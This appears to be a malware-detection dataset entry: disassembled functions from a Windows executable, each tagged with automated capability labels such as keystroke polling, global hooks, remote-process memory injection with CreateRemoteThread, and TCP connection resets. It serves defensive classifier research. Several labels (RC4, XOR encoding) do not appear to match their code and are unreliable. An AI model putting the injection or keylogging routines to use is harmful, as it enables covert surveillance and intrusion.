joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1319316c
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
mov eax, dword [0x1329b4b0]
cmp byte [eax + 0xc], 0
je 0x131932d9
push 0x8000
call sub.kernel32.dll_SetErrorMode
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x131932d2
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [0x1329cba0], 0
jne 0x131931c0
push 0x131932e0
call sub.kernel32.dll_GetModuleHandleA_2
mov ebx, eax
push 0x131932e8
push ebx
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cba0], eax
cmp dword [0x13291d60], 0
jne 0x131932bb
push 0x131932f8
call sub.kernel32.dll_LoadLibraryA
mov dword [0x13291d60], eax
cmp dword [0x13291d60], 0
je 0x131932bb
push 0x13193304
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cba4], eax
push 0x13193314
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cba8], eax
push 0x13193328
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbac], eax
push 0x13193340
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbb0], eax
push 0x13193358
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbb4], eax
push 0x1319336c
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbb8], eax
push 0x13193384
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbbc], eax
push 0x1319339c
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbc0], eax
push 0x131933b8
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbc4], eax
push 0x131933c4
mov eax, dword [0x13291d60]
push eax
call sub.kernel32.dll_GetProcAddress_1
mov dword [0x1329cbc8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131932d9
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_SetErrorMode
ret
pop ebx
pop ecx
pop ebp
ret

Function at 0x131976a0
Capabilities:
Log keystrokes
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffefc
push ebx
mov ebx, edx
mov word [ebp - 2], ax
mov eax, ebx
call fcn.13145054
push 0
xor eax, eax
mov al, byte [ebp - 2]
push eax
call sub.user32.dll_MapVirtualKeyA
shl eax, 0x10
test eax, eax
je 0x131976ef
push pe_nt_image_headers32
lea edx, [ebp - 0x102]
push edx
push eax
call sub.user32.dll_GetKeyNameTextA
mov eax, ebx
lea edx, [ebp - 0x102]
mov ecx, pe_nt_image_headers32
call fcn.131452c4
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1319f0ac
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x1319f0fc]
test si, 4
je 0x1319f0c0
or bl, 1
test si, 8
je 0x1319f0ca
or bl, 4
test si, 1
je 0x1319f0d4
or bl, 8
test si, 2
je 0x1319f0de
or bl, 0x10
test si, 0x10
je 0x1319f0e8
or bl, 0x20
push 0x12
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x1319f0f7
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret
Function at 0x1319f100
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
mov esi, eax
mov bl, byte [0x1319f138]
push 0x10
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x1319f119
or bl, 1
push 0x11
call sub.user32.dll_GetKeyState
test ax, ax
jge 0x1319f128
or bl, 4
test esi, 0x20000000
je 0x1319f133
or bl, 2
mov eax, ebx
pop esi
pop ebx
ret

Function at 0x131a57fc
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
test dl, dl
je 0x131a580e
add esp, 0xfffffff0
call fcn.1314457c
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.131614e8
mov eax, dword [0x1329aeb0]
mov dword [eax + 4], ebx
mov dword [eax], 0x131a5ba0
mov eax, dword [0x1329aebc]
mov dword [eax + 4], ebx
mov dword [eax], 0x131a5bac
mov eax, ebx
call fcn.131a5bb8
push 0
call sub.user32.dll_GetKeyboardLayout
mov dword [ebx + 0x3c], eax
mov dl, 1
mov eax, dword [0x1315833c]
call fcn.13144214
mov dword [ebx + 0x4c], eax
mov dl, 1
mov eax, dword [0x1315833c]
call fcn.13144214
mov dword [ebx + 0x50], eax
mov dl, 1
mov eax, dword [0x1315833c]
call fcn.13144214
mov dword [ebx + 0x54], eax
mov dl, 1
mov eax, dword [0x1315833c]
call fcn.13144214
mov dword [ebx + 0x58], eax
mov dl, 1
mov eax, dword [0x1315833c]
call fcn.13144214
mov dword [ebx + 0x7c], eax
push 0
call sub.user32.dll_GetDC
mov esi, eax
push 0x5a
push esi
call sub.gdi32.dll_GetDeviceCaps
mov dword [ebx + 0x40], eax
push esi
push 0
call sub.user32.dll_ReleaseDC
mov eax, dword [ebx + 0x58]
push eax
mov eax, 0x131a1fd0
push eax
push 0
push 0
mov eax, dword [0x1329b124]
mov eax, dword [eax]
call eax
mov dl, 1
mov eax, dword [0x13162f6c]
call fcn.13164774
mov dword [ebx + 0x84], eax
mov dl, 1
mov eax, dword [0x13162f6c]
call fcn.13164774
mov dword [ebx + 0x88], eax
mov dl, 1
mov eax, dword [0x13162f6c]
call fcn.13164774
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.131a6104
mov eax, dword [ebx + 0x84]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x131a5f84
mov eax, dword [ebx + 0x88]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x131a5f84
mov eax, dword [ebx + 0x80]
mov dword [eax + 0xc], ebx
mov dword [eax + 8], 0x131a5f84
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x131a594b
call fcn.131445d4
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x131a5d68
Capabilities:
Get keyboard layout
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffda0
push ebx
xor edx, edx
mov dword [ebp - 0x260], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x131a5f13
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp dword [eax + 0x34], 0
jne 0x131a5ef4
mov dl, 1
mov eax, dword [0x131589a0]
call fcn.13144214
mov edx, dword [ebp - 4]
mov dword [edx + 0x34], eax
mov eax, dword [ebp - 4]
add eax, 0x38
call fcn.13145054
lea eax, [ebp - 0x114]
push eax
push 0x40
call sub.user32.dll_GetKeyboardLayoutList
dec eax
test eax, eax
jl 0x131a5ee3
inc eax
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x114]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
call fcn.131934cc
test al, al
je 0x131a5ed6
lea eax, [ebp - 0xc]
push eax
push 0x20019
push 0
push 0
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x25c], eax
mov byte [ebp - 0x258], 0
lea ecx, [ebp - 0x25c]
mov edx, 0x131a5f24
lea eax, [ebp - 0x254]
call fcn.1314a910
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x131a5ed6
xor eax, eax
push ebp
push 0x131a5ecf
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], pe_nt_image_headers32
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x214]
push eax
push 0
push 0
push 0x131a5f5c
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x131a5eb8
lea eax, [ebp - 0x260]
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.131452c4
mov edx, dword [ebp - 0x260]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov ebx, dword [eax]
call dword [ebx + 0x3c]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov edx, dword [ebp - 4]
cmp eax, dword [edx + 0x3c]
jne 0x131a5eb8
mov eax, dword [ebp - 4]
add eax, 0x38
lea edx, [ebp - 0x214]
mov ecx, pe_nt_image_headers32
call fcn.131452c4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131a5ed6
mov eax, dword [ebp - 0xc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
add dword [ebp - 0x14], 4
dec dword [ebp - 0x10]
jne 0x131a5dd9
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x34]
mov byte [eax + 0x1d], 0
mov dl, 1
call fcn.1315ced8
mov eax, dword [ebp - 4]
mov ebx, dword [eax + 0x34]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131a5f1a
lea eax, [ebp - 0x260]
call fcn.13145054
ret

Function at 0x131a68a4
Capabilities:
Create thread
Set global application hook

Disassembly:
push ecx
mov eax, dword [0x1329cbec]
cmp byte [eax + 0xa5], 0
jne 0x131a6915
cmp dword [0x1329cc04], 0
jne 0x131a68d6
call sub.kernel32.dll_GetCurrentThreadId_1
push eax
push 0
mov eax, 0x131a6860
push eax
push 3
call sub.user32.dll_SetWindowsHookExA
mov dword [0x1329cc04], eax
cmp dword [0x1329cc00], 0
jne 0x131a68f1
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x1329cc00], eax
cmp dword [0x1329cc08], 0
jne 0x131a6915
push esp
push 0
push 0
push 0x131a6804
push 0x3e8
push 0
call sub.kernel32.dll_CreateThread_1
mov dword [0x1329cc08], eax
pop edx
ret
Function at 0x131a6fd8
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [0x1329cbec]
cmp dword [eax + 0x30], 0
je 0x131a7082
cmp dword [ebx + 0x94], 0
jne 0x131a707c
mov eax, dword [ebx + 0x30]
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x131a6f68
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x131a707c
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongA
test al, 8
je 0x131a7042
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x131a707c
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.1315aa64
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x131a7051
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x131a7bf8
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xa4], 0
je 0x131a7c2d
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x30]
push eax
call sub.user32.dll_GetWindowTextA
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.13145144
jmp 0x131a7c3a
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.131450a8
add esp, 0x100
pop esi
pop ebx
ret

Function at 0x131a8e04
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x131a8e45
mov eax, esi
call fcn.1318ea70
test al, al
je 0x131a8e45
mov eax, dword [ebx + 0x84]
call fcn.1318e76c
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x131a8e45
push 0
mov eax, dword [ebx + 0x84]
call fcn.1318e76c
push eax
call sub.user32.dll_ShowWindow
pop esi
pop ebx
ret

Function at 0x131b4c20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x131b4ca6
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x40
push 0x3000
lea eax, [ebp - 0xc]
mov edx, ebx
call fcn.1314524c
mov eax, dword [ebp - 0xc]
call fcn.13145314
inc eax
push eax
push 0
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
mov edx, ebx
call fcn.1314524c
mov eax, dword [ebp - 0x10]
call fcn.13145314
inc eax
push eax
push ebx
mov eax, dword [ebp - 4]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131b4cad
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.13145078
ret
Function at 0x131b4cb8
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, ecx
mov edi, edx
mov ebx, eax
push 0x40
push 0x3000
push esi
push 0
push ebx
call sub.kernel32.dll_VirtualAllocEx
mov dword [esp], eax
lea eax, [esp + 4]
push eax
push esi
push edi
mov eax, dword [esp + 0xc]
push eax
push ebx
call sub.kernel32.dll_WriteProcessMemory
mov eax, dword [esp]
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x131b4cf4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
mov ecx, dword [ebp + 0xc]
mov edx, edi
mov eax, ebx
call fcn.131b4cb8
mov dword [ebp - 8], eax
mov eax, esi
call fcn.131b4bf0
mov ecx, eax
mov edx, esi
mov eax, ebx
call fcn.131b4cb8
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push eax
push 0
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push 0
push 0
push ebx
call sub.kernel32.dll_CreateRemoteThread
mov esi, eax
cmp byte [ebp + 8], 0
je 0x131b4d62
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp + 0xc]
push eax
push edi
mov eax, dword [ebp - 8]
push eax
push ebx
call sub.kernel32.dll_ReadProcessMemory
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x131b4ea0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
mov edi, edx
mov esi, eax
lea eax, [ebp - 0x2c]
mov edx, dword [0x131b48b8]
call fcn.13145a4c
xor eax, eax
push ebp
push 0x131b4fc2
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [ebp - 1], 0
mov eax, edi
xor edx, edx
push edx
push eax
mov eax, dword [edi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov dword [ebp - 0x14], eax
mov ebx, 0x10000000
add ebx, 0x10000
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
add eax, ebx
push eax
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x131b4f44
push 0x8000
push 0
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_VirtualFree_1
push 0x40
push 0x3000
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x50]
push eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x34]
add eax, ebx
push eax
push esi
call sub.kernel32.dll_VirtualAllocEx
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x131b4f52
cmp ebx, 0x30000000
jbe 0x131b4ee9
cmp dword [ebp - 0x18], 0
je 0x131b4fa6
lea eax, [ebp - 0x2c]
push eax
mov ecx, edi
mov edx, dword [ebp - 0x18]
mov eax, esi
call fcn.131b54b0
mov eax, dword [ebp - 0x2c]
test eax, eax
je 0x131b4fa6
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x20]
mov dword [ebp - 8], edx
lea edx, [ebp - 0x10]
push edx
mov edx, dword [ebp - 0x28]
push edx
push eax
mov eax, dword [ebp - 0x18]
push eax
push esi
call sub.kernel32.dll_WriteProcessMemory
push 8
push 0
lea ecx, [ebp - 0xc]
mov edx, 0x131b4e78
mov eax, esi
call fcn.131b4cf4
test eax, eax
je 0x131b4fa6
mov byte [ebp - 1], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131b4fc9
lea eax, [ebp - 0x2c]
mov edx, dword [0x131b48b8]
call fcn.13145b1c
ret

Function at 0x131b524c
Capabilities:
Inspect section memory permissions

Disassembly:
xor edx, edx
test eax, 0x4000000
je 0x131b525b
or edx, 0x200
test eax, 0x20000000
je 0x131b528f
test eax, 0x40000000
je 0x131b527a
test eax, 0x80000000
je 0x131b5275
or edx, 0x40
jmp 0x131b52b6
or edx, 0x20
jmp 0x131b52b6
test eax, 0x80000000
je 0x131b5289
or edx, 0x80
jmp 0x131b52b6
or edx, 0x10
mov eax, edx
ret
test eax, 0x40000000
je 0x131b52a7
test eax, 0x80000000
je 0x131b52a2
or edx, 4
jmp 0x131b52b6
or edx, 2
jmp 0x131b52b6
test eax, 0x80000000
je 0x131b52b3
or edx, 8
jmp 0x131b52b6
or edx, 1
mov eax, edx
ret
Function at 0x131b85e0
Capabilities:
List tcp connections and listeners

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
xor ecx, ecx
mov edx, 0x18
call fcn.13143710
xor eax, eax
mov dword [ebp - 0xc], eax
push 0
push 5
push 2
push 0
lea eax, [ebp - 0xc]
push eax
push 0
call sub.iphlpapi.dll_GetExtendedTcpTable
cmp eax, 0x7a
jne 0x131b86a8
mov eax, dword [ebp - 0xc]
call fcn.13142ac4
mov dword [ebp - 0x10], eax
xor ecx, ecx
push ebp
push 0x131b86a1
push dword fs:[ecx]
mov dword fs:[ecx], esp
push 0
push 5
push 2
push 0xffffffffffffffff
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.iphlpapi.dll_GetExtendedTcpTable
test eax, eax
jne 0x131b868b
mov eax, dword [ebp - 0x10]
mov edx, dword [eax]
dec edx
test edx, edx
jl 0x131b868b
inc edx
xor eax, eax
lea ebx, [eax + eax*2]
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx + ebx*8 + 0x18]
cmp ecx, dword [ebp - 4]
jne 0x131b8687
mov eax, dword [ebp - 0x10]
mov edx, dword [ebp - 8]
lea esi, [eax + ebx*8 + 4]
mov edi, edx
mov ecx, 6
rep movsd dword es:[edi], dword [esi]
call fcn.13144a90
jmp 0x131b86a8
inc eax
dec edx
jne 0x131b865e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131b86a8
mov eax, dword [ebp - 0x10]
call fcn.13142af4
ret
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x131b86b0
Capabilities:
Set tcp connection state

Disassembly:
push ebx
add esp, 0xffffffe8
mov ebx, eax
mov edx, esp
mov eax, ebx
call fcn.131b85e0
cmp dword [esp + 0x14], 0
je 0x131b86d3
mov dword [esp], 0xc
push esp
call sub.iphlpapi.dll_SetTcpEntry
add esp, 0x18
pop ebx
ret

Function at 0x131b87bc
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
push edi
add esp, 0xffffff00
mov esi, edx
mov ebx, eax
mov eax, esp
xor ecx, ecx
mov edx, pe_nt_image_headers32
call fcn.13143710
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
push ebx
call sub.user32.dll_GetWindowTextA
mov edi, esi
mov esi, esp
mov ecx, 0x40
rep movsd dword es:[edi], dword [esi]
add esp, 0x100
pop edi
pop esi
pop ebx
ret

Function at 0x131b8828
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
mov esi, edx
mov ebx, eax
push 0
push 0
push 0xe
push ebx
call sub.user32.dll_SendMessageA
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.13142ac4
mov dword [ebp - 8], eax
xor edx, edx
push ebp
push 0x131b8890
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 8]
push eax
mov eax, dword [ebp - 4]
push eax
push 0xd
push ebx
call sub.user32.dll_SendMessageA
mov edx, esi
mov eax, dword [ebp - 8]
call fcn.1314a490
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x131b8897
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 8]
call fcn.13142af4
ret
Function at 0x131bebd8
Capabilities:
Check for software breakpoints

Disassembly:
push ebx
mov ebx, eax
cmp dword [ebx + 0x14], 0xca
jne 0x131bec06
mov eax, ebx
call fcn.131bf68c
cmp dword [ebx + 0x40], 0
je 0x131bebff
mov dword [ebx + 0x14], 0xcf
mov eax, 1
pop ebx
ret
mov dword [ebx + 0x14], 0xcb
cmp dword [ebx + 0x14], 0xcb
jne 0x131bec77
mov edx, dword [ebx + 0x1b4]
cmp dword [edx + 0x10], 0
je 0x131bec69
cmp dword [ebx + 8], 0
je 0x131bec28
mov eax, ebx
mov edx, dword [eax + 8]
call dword [edx]
mov eax, ebx
mov edx, dword [eax + 0x1b4]
call dword [edx]
test eax, eax
jne 0x131bec3a
xor eax, eax
pop ebx
ret
cmp eax, 2
je 0x131bec69
cmp dword [ebx + 8], 0
je 0x131bec1b
cmp eax, 3
je 0x131bec4d
dec eax
jne 0x131bec1b
mov edx, dword [ebx + 8]
inc dword [edx + 4]
mov ecx, dword [edx + 4]
mov eax, dword [ebx + 8]
cmp ecx, dword [eax + 8]
jl 0x131bec1b
mov edx, dword [ebx + 0x140]
add dword [eax + 8], edx
jmp 0x131bec1b
mov ecx, dword [ebx + 0x90]
mov dword [ebx + 0x98], ecx
jmp 0x131bec95
cmp dword [ebx + 0x14], 0xcc
je 0x131bec95
mov eax, dword [ebx]
mov dword [eax + 0x14], 0x14
mov edx, dword [ebx + 0x14]
mov dword [eax + 0x18], edx
mov eax, ebx
mov edx, dword [eax]
call dword [edx]
mov eax, ebx
call fcn.131beca0
pop ebx
ret
Function at 0x131d5544
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd0
push ebx
push esi
push edi
mov esi, edx
lea edi, [ebp - 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, ecx
mov dword [ebp - 4], eax
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
cmp eax, dword [ebp - 0x24]
jge 0x131d5576
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
mov dword [ebp - 0x24], eax
mov eax, esi
call fcn.131d5458
mov dword [ebp - 0x1c], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x19], al
lea ecx, [ebp - 0x10]
lea edx, [ebp - 8]
mov eax, dword [ebp - 4]
call fcn.132264b8
test al, al
je 0x131d5671
mov edx, dword [ebp - 0x2c]
xor eax, eax
call fcn.1316c17c
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x20]
mov edx, dword [ebp - 0x24]
call fcn.1316c0b8
dec eax
pop edx
sub eax, edx
jl 0x131d5671
inc eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x10]
imul dword [ebp - 0x18]
add eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0x30]
xor eax, eax
call fcn.1316c17c
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x2c]
mov edx, dword [ebp - 0x28]
call fcn.1316c0b8
mov edi, eax
dec edi
pop eax
sub edi, eax
jl 0x131d5665
inc edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp - 0x14]
lea ecx, [eax + edx*4]
xor eax, eax
mov al, byte [ecx + 2]
xor edx, edx
mov dl, byte [ebp - 0x1a]
sub eax, edx
mov esi, ebx
and esi, 0xff
imul esi
push ecx
mov ecx, 0x64
cdq
idiv ecx
pop ecx
sub byte [ecx + 2], al
xor eax, eax
mov al, byte [ecx + 1]
xor edx, edx
mov dl, byte [ebp - 0x1b]
sub eax, edx
imul esi
push ecx
mov ecx, 0x64
cdq
idiv ecx
pop ecx
sub byte [ecx + 1], al
xor eax, eax
mov al, byte [ecx]
xor edx, edx
mov dl, byte [ebp - 0x1c]
sub eax, edx
imul esi
mov esi, 0x64
cdq
idiv esi
sub byte [ecx], al
mov al, byte [ebp - 0x19]
mov byte [ecx + 3], al
inc dword [ebp - 0x14]
dec edi
jne 0x131d55fb
inc dword [ebp - 0x18]
dec dword [ebp - 0x20]
jne 0x131d55c8
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x131de5a0
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
mov edi, ecx
mov esi, edx
mov ebx, eax
mov ebp, 0x1329d114
test esi, esi
jne 0x131de5ba
xor eax, eax
jmp 0x131de6bc
cmp dword [ebp], 0
jne 0x131de5c5
call fcn.131de530
xor ebx, 0xffffffff
cmp edi, 8
jb 0x131de695
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
mov eax, ebx
xor al, byte [esi]
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
sub edi, 8
cmp edi, 8
jae 0x131de5d1
test edi, edi
jbe 0x131de6b7
xor eax, eax
mov al, byte [esi]
xor eax, ebx
and eax, 0xff
mov edx, dword [ebp]
mov eax, dword [edx + eax*4]
shr ebx, 8
xor eax, ebx
mov ebx, eax
inc esi
dec edi
test edi, edi
ja 0x131de699
mov eax, ebx
xor eax, 0xffffffff
pop ebp
pop edi
pop esi
pop ebx
ret